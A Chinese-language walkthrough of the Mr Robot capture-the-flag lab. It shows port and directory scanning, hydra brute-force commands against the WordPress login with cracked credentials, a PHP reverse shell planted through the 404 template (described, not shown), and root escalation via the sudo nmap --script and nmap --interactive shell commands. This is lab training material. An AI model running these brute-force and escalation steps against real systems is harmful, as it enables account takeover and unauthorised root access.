MrRobot Walkthrough
Host scanning
1
2
3
4
┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -r 10.10.10.0/24
...
10.10.10.130 00:0c:29:58:64:33 1 60 VMware, Inc.
Port scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~]
└─$ nmap -A -sC -F 10.10.10.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 21:58 EDT
Nmap scan report for 10.10.10.130
Host is up (0.0018s latency).
Not shown: 97 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.63 seconds
Enumeration
SSH Enumeration
通常情况下我不会直接对SSH进行爆破,除非别的方向完全没头绪
HTTP Enumeration
端口扫描发现80/443端口,使用dirb
对目录进行扫描,由于扫描出大量的目录,这里我只列举几个
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ dirb https://10.10.10.130 | grep "=="
==> DIRECTORY: https://10.10.10.130/robots.txt
=> DIRECTORY: https://10.10.10.130/wp-admin/
==> DIRECTORY: https://10.10.10.130/wp-content/
==> DIRECTORY: https://10.10.10.130/wp-includes/
==> DIRECTORY: https://10.10.10.130/0/feed/
==> DIRECTORY: https://10.10.10.130/admin/audio/
......
从上面的输出,我可以发现大量的目录和文件,我们通过访问https://10.10.10.130/robots.txt
文件查看其中内容
1
2
3
User-agent: *
fsocity.dic
key-1-of-3.txt
访问key-1-of-3.txt
,我们得到073403c8a58a1f80d943455fb30724b9
将fsocity.dic
获取到本地,进行查看,发现可能是一个用于爆破的字典
将得到的fsocity.dic
进行去重,并将排序并去重的文件,写入到fsocity.dic.uniq
1
sort fsocity.dic | uniq | tee fsocity.dic.uniq
使用burpsuite
进行对wordpress进行抓包,尝试使用hydra
进行爆破
使用hydra
进行爆破
1
hydra -vV -L fsocity.dic.uniq -p wedontcare 10.10.10.130 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
该 hydra
命令的参数作用是对目标 IP 地址 10.10.10.130
上的 WordPress 登录页面 (/wp-login.php
) 进行暴力破解尝试。它使用 fsocity.dic.uniq
文件中的用户名列表与固定密码 wedontcare
进行组合尝试(这里的密码无所谓,我们主要的目的是获得用户名),命令中的参数和设置使 hydra
在尝试登录时能够准确判断登录是否成功返回正确的参数值。
通过hydra
暴力破解得到以下可以正常使用的账户 elliot
1
2
3
[80][http-post-form] host: 10.10.10.130 login: elliot password: wedontcare
[80][http-post-form] host: 10.10.10.130 login: ELLIOT password: wedontcare
[80][http-post-form] host: 10.10.10.130 login: Elliot password: wedontcare
继续使用hydra进行爆破,将用户名设置为elliot
继续使用,刚刚过滤的文档进行爆破
1
hydra -vV -l elliot -P fsocity.dic.uniq vm http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
得到密码ER28-0652
1
[80][http-post-form] host: 10.10.10.130 login: elliot password: ER28-0652
使用已知的账号和密码进行登录wp-login.php
,在用户列表发现另一个用户名mich05654
使用hydra
以mich05654
为用户名进行爆破,成功获取到密码
1
[80][http-post-form] host: 10.10.10.130 login: mich05654 password: Dylan_2791
使用username: elliot
password: ER28-0652
进入到后台管理页面
我们可以通过404.html,将PHP反弹SHELL载入,只需要访问位置页面便可触发该REC
在攻击机进行netcat监听,触发404,反弹shell,成功进入
根据检索所有用户目录,发现存在一个password.raw-md5
文件,发现有可读权限
在其中发现一个重要的key,疑似md5
此命令利用 Python 的 pty
模块中的 spawn
函数直接启动了一个正常交互式的 Bash shell
使用刚刚解密的密码进行登录,成功登录到robot
1
2
3
4
5
6
7
8
9
Input echo is disabled.
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.
sudo nmap --interactive
nmap> !sh
由于nmap 2.02-5.21存在越权,我们可以利用nmap进入到root中
成功在 /root
目录中拿到FLAG